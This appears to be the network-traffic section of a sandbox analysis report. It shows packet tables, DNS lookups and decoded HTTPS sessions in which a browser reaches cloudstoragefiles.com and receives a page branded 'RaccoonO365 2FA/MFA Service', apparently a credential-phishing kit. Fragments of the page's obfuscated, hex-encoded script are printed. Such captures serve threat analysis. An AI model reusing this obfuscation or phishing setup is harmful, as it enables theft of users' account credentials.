Sep 29, 2024 15:46:49.693206072 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:49.693274975 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.693519115 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:49.693533897 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.166785002 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.167115927 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:50.167141914 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.167520046 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.167854071 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:50.167943954 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.168128014 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:50.168196917 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:50.168205976 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.297770023 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.298161983 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:50.298218966 CEST	443	49763	35.190.80.1	192.168.2.6
Sep 29, 2024 15:46:50.298269987 CEST	49763	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:46:55.044848919 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:55.044915915 CEST	443	49760	142.250.185.164	192.168.2.6
Sep 29, 2024 15:46:55.045089960 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:56.917768955 CEST	49760	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:46:56.917783022 CEST	443	49760	142.250.185.164	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 15:45:40.543636084 CEST	53	56007	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:40.626909971 CEST	53	55729	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:41.864397049 CEST	53	54095	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:42.425246954 CEST	63960	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:42.425426960 CEST	57931	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:42.441930056 CEST	53	57931	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:42.463217020 CEST	53	63960	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:43.548513889 CEST	64175	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:43.549443960 CEST	63822	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:43.590547085 CEST	53	64175	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:43.734715939 CEST	53	63822	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:44.479001999 CEST	62133	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:44.479336023 CEST	60446	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:44.486114025 CEST	53	62133	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:44.486445904 CEST	53	60446	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:49.050035000 CEST	65415	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:49.050204039 CEST	55785	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:45:49.056843042 CEST	53	65415	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:49.057024002 CEST	53	55785	1.1.1.1	192.168.2.6
Sep 29, 2024 15:45:59.145432949 CEST	53	52159	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:00.876844883 CEST	56599	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:46:00.877022982 CEST	59196	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:46:00.884145021 CEST	53	56599	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:00.885552883 CEST	53	59196	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:02.340519905 CEST	57230	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:46:02.341203928 CEST	53455	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:46:02.347244978 CEST	53	57230	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:02.349638939 CEST	53	53455	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:02.783231974 CEST	58952	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:46:02.783411026 CEST	64048	53	192.168.2.6	1.1.1.1
Sep 29, 2024 15:46:02.790807962 CEST	53	64048	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:02.791239977 CEST	53	58952	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:18.017281055 CEST	53	62457	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:40.084322929 CEST	53	53296	1.1.1.1	192.168.2.6
Sep 29, 2024 15:46:40.563214064 CEST	53	60547	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 29, 2024 15:45:43.734787941 CEST	192.168.2.6	1.1.1.1	c281	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 15:45:42.425246954 CEST	192.168.2.6	1.1.1.1	0x3d95	Standard query (0)	elr.cloudstoragefiles.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:42.425426960 CEST	192.168.2.6	1.1.1.1	0x7dca	Standard query (0)	elr.cloudstoragefiles.com	65	IN (0x0001)	false
Sep 29, 2024 15:45:43.548513889 CEST	192.168.2.6	1.1.1.1	0x292e	Standard query (0)	cloudstoragefiles.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:43.549443960 CEST	192.168.2.6	1.1.1.1	0xdc47	Standard query (0)	cloudstoragefiles.com	65	IN (0x0001)	false
Sep 29, 2024 15:45:44.479001999 CEST	192.168.2.6	1.1.1.1	0x82c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:44.479336023 CEST	192.168.2.6	1.1.1.1	0x9d3a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 15:45:49.050035000 CEST	192.168.2.6	1.1.1.1	0x5fc0	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:49.050204039 CEST	192.168.2.6	1.1.1.1	0xde9f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 15:46:00.876844883 CEST	192.168.2.6	1.1.1.1	0x4b77	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:00.877022982 CEST	192.168.2.6	1.1.1.1	0xa8fa	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 15:46:02.340519905 CEST	192.168.2.6	1.1.1.1	0x186d	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:02.341203928 CEST	192.168.2.6	1.1.1.1	0x8543	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 15:46:02.783231974 CEST	192.168.2.6	1.1.1.1	0xc4f4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:02.783411026 CEST	192.168.2.6	1.1.1.1	0xe4da	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 15:45:42.441930056 CEST	1.1.1.1	192.168.2.6	0x7dca	No error (0)	elr.cloudstoragefiles.com			65	IN (0x0001)	false
Sep 29, 2024 15:45:42.463217020 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	elr.cloudstoragefiles.com		172.67.137.231	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:42.463217020 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	elr.cloudstoragefiles.com		104.21.62.177	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:43.590547085 CEST	1.1.1.1	192.168.2.6	0x292e	No error (0)	cloudstoragefiles.com		104.21.62.177	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:43.590547085 CEST	1.1.1.1	192.168.2.6	0x292e	No error (0)	cloudstoragefiles.com		172.67.137.231	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:43.734715939 CEST	1.1.1.1	192.168.2.6	0xdc47	No error (0)	cloudstoragefiles.com			65	IN (0x0001)	false
Sep 29, 2024 15:45:44.486114025 CEST	1.1.1.1	192.168.2.6	0x82c9	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:44.486445904 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 15:45:49.056843042 CEST	1.1.1.1	192.168.2.6	0x5fc0	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:53.771801949 CEST	1.1.1.1	192.168.2.6	0x964	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 15:45:53.771801949 CEST	1.1.1.1	192.168.2.6	0x964	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:55.263159990 CEST	1.1.1.1	192.168.2.6	0x7017	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:45:55.263159990 CEST	1.1.1.1	192.168.2.6	0x7017	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:00.884145021 CEST	1.1.1.1	192.168.2.6	0x4b77	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:00.884145021 CEST	1.1.1.1	192.168.2.6	0x4b77	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:00.885552883 CEST	1.1.1.1	192.168.2.6	0xa8fa	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 15:46:02.347244978 CEST	1.1.1.1	192.168.2.6	0x186d	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:02.347244978 CEST	1.1.1.1	192.168.2.6	0x186d	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:02.349638939 CEST	1.1.1.1	192.168.2.6	0x8543	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 15:46:02.790807962 CEST	1.1.1.1	192.168.2.6	0xe4da	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 15:46:02.791239977 CEST	1.1.1.1	192.168.2.6	0xc4f4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:02.791239977 CEST	1.1.1.1	192.168.2.6	0xc4f4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:14.362849951 CEST	1.1.1.1	192.168.2.6	0x502c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:14.362849951 CEST	1.1.1.1	192.168.2.6	0x502c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:53.221080065 CEST	1.1.1.1	192.168.2.6	0x65f7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:53.221080065 CEST	1.1.1.1	192.168.2.6	0x65f7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:55.627417088 CEST	1.1.1.1	192.168.2.6	0x9046	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 15:46:55.627417088 CEST	1.1.1.1	192.168.2.6	0x9046	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

elr.cloudstoragefiles.com

cloudstoragefiles.com

fs.microsoft.com

a.nel.cloudflare.com

challenges.cloudflare.com

https:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 47 71 53 46 69 6d 30 4f 6b 75 4b 59 33 73 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 36 65 30 63 64 62 61 32 35 32 38 33 36 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fGqSFim0OkuKY3sq.1Context: b66e0cdba2528368
2024-09-29 13:45:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-29 13:45:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 47 71 53 46 69 6d 30 4f 6b 75 4b 59 33 73 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 36 65 30 63 64 62 61 32 35 32 38 33 36 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 41 53 65 66 6f 69 66 59 57 62 71 56 6d 78 74 71 59 63 32 42 54 5a 33 64 52 46 64 5a 74 2b 74 4e 63 74 66 55 4d 54 37 4b 75 49 76 2b 43 50 72 51 63 70 56 64 41 32 7a 6f 4f 51 4a 36 2b 67 49 76 58 30 47 47 43 52 61 5a 75 66 57 55 2f 77 49 33 51 2b 54 55 35 4f 68 33 39 68 39 61 70 4d 42 42 77 39 77 74 56 78 32 79 53 31 73 4a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: fGqSFim0OkuKY3sq.2Context: b66e0cdba2528368<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdASefoifYWbqVmxtqYc2BTZ3dRFdZt+tNctfUMT7KuIv+CPrQcpVdA2zoOQJ6+gIvX0GGCRaZufWU/wI3Q+TU5Oh39h9apMBBw9wtVx2yS1sJ
2024-09-29 13:45:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 47 71 53 46 69 6d 30 4f 6b 75 4b 59 33 73 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 36 65 30 63 64 62 61 32 35 32 38 33 36 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: fGqSFim0OkuKY3sq.3Context: b66e0cdba2528368<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-29 13:45:41 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-29 13:45:41 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 75 67 5a 33 4a 76 55 79 30 71 65 37 77 71 32 69 4b 44 73 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qugZ3JvUy0qe7wq2iKDsUw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49719	172.67.137.231	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:43 UTC	686	OUT	GET /swkskjd?e=$(email) HTTP/1.1 Host: elr.cloudstoragefiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:45:43 UTC	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 29 Sep 2024 13:45:43 GMT Content-Length: 0 Connection: close Location: https://cloudstoragefiles.com/dshewn?e=%24%28email%29 Cache-Control: public, max-age=600, stale-if-error=86400, stale-while-revalidate=600, no-store Strict-Transport-Security: max-age=15552000; includeSubDomains; preload X-Bot-Protection: block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Robots-Tag: noindex, nofollow X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pHKNTFvICJNb7Hgcc2O81tEFIcfRldYsjMCh5a6Jy7kIdnCNeg55QFAgJexNvCFCG8YaeO03UGl6GIuOAif%2Fb4KuYIOeKoVxihiPW6wNmnA5Tr0%2BapMcr7VvUnBfAvHFYwmUTnsqjnCp8awp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cac6a4ec8758cc3-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	104.21.62.177	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:45:44 UTC	687	OUT	GET /dshewn?e=%24%28email%29 HTTP/1.1 Host: cloudstoragefiles.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:45:46 UTC	1079	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:45:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Feature-Policy: camera 'none'; microphone 'none' Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Powered-By: RaccoonO365 2FA/MFA Service X-Powered-CMS: RaccoonO365 2FA/MFA Service X-Robots-Tag: noindex, nofollow X-ServerName: RaccoonO365 X-ServerVersion: 3.5 X-Verified: true X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9BeeO%2BsGMZlq1WgZhY7IFABtErLj%2FRxJfjEktiGLgrAbD1WwBagRtNKzYfS13lttCnyhxfpmssCEHk6W%2FL8DPi45X%2Bsh2o0yjD8IzFO57OoesuSHaC%2Bm8gGPzttvWS61ei8wrQ1uwPw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cac6a532942434a-EWR
2024-09-29 13:45:46 UTC	290	IN	Data Raw: 37 62 36 37 0d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 Data Ascii: 7b67 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head>
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 66 75 73 63 61 74 65 43 6f 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 63 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 68 61 72 73 20 3d 20 27 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 61 72 73 20 3d 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: <script> (function() { var obfuscateCode = function(code) { var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; var newVars = {};
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 65 63 6f 64 65 48 65 78 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6e 63 6f 64 65 64 53 74 72 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 65 63 6f 64 65 64 53 74 72 20 3d 20 27 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 68 65 78 41 72 72 61 79 20 3d 20 65 6e 63 6f 64 65 64 53 74 72 2e 73 70 6c 69 74 28 27 3b 26 23 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 78 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 68 65 78 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: }; var decodeHex = function(encodedStr) { var decodedStr = ''; var hexArray = encodedStr.split(';&#'); hexArray.forEach(hex => {
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 65 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 36 31 3b 26 23 36 63 3b 26 23 32 64 3b 26 23 37 33 3b 26 23 36 33 3b 26 23 36 31 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 33 64 3b 26 23 33 31 3b 26 23 32 65 3b 26 23 33 30 3b 26 23 32 32 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 33 65 3b 26 23 35 36 3b 26 23 36 35 3b 26 23 37 32 3b 26 23 36 39 3b 26 23 36 36 3b 26 23 37 39 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 37 3b 26 23 32 30 3b 26 23 34 63 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 62 3b 26 23 33 63 3b 26 23 32 66 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 33 Data Ascii: e;EJE=&#6c;&#2d;I?=&#6c;A&#3d;&#2e;&#3e;&#0a;&#3c;JEJ&#6c;A&#3e;8AHEBOE&#6e;C&#4c;E&#6e;&#6b;&#3c;&#2f;JEJ&#6c;A&#3
2024-09-29 13:45:46 UTC	1369	IN	Data Raw: 36 35 3b 26 23 36 65 3b 26 23 37 34 3b 26 23 33 64 3b 26 23 32 32 3b 26 23 37 37 3b 26 23 36 39 3b 26 23 36 34 3b 26 23 37 34 3b 26 23 36 38 3b 26 23 33 64 3b 26 23 36 34 3b 26 23 36 35 3b 26 23 37 36 3b 26 23 36 39 3b 26 23 36 33 3b 26 23 36 35 3b 26 23 32 64 3b 26 23 37 37 3b 26 23 36 39 3b 26 23 36 34 3b 26 23 37 34 3b 26 23 36 38 3b 26 23 32 63 3b 26 23 32 30 3b 26 23 36 39 3b 26 23 36 65 3b 26 23 36 39 3b 26 23 37 34 3b 26 23 36 39 3b 26 23 36 31 3b 26 23 36 63 3b 26 23 32 64 3b 26 23 37 33 3b 26 23 36 33 3b 26 23 36 31 3b 26 23 36 63 3b 26 23 36 35 3b 26 23 33 64 3b 26 23 33 31 3b 26 23 32 65 3b 26 23 33 30 3b 26 23 32 32 3b 26 23 33 65 3b 26 23 30 61 3b 26 23 32 30 3b 26 23 32 30 3b 26 23 33 63 3b 26 23 36 64 3b 26 23 36 35 3b 26 23 37 34 3b 26 23 Data Ascii: 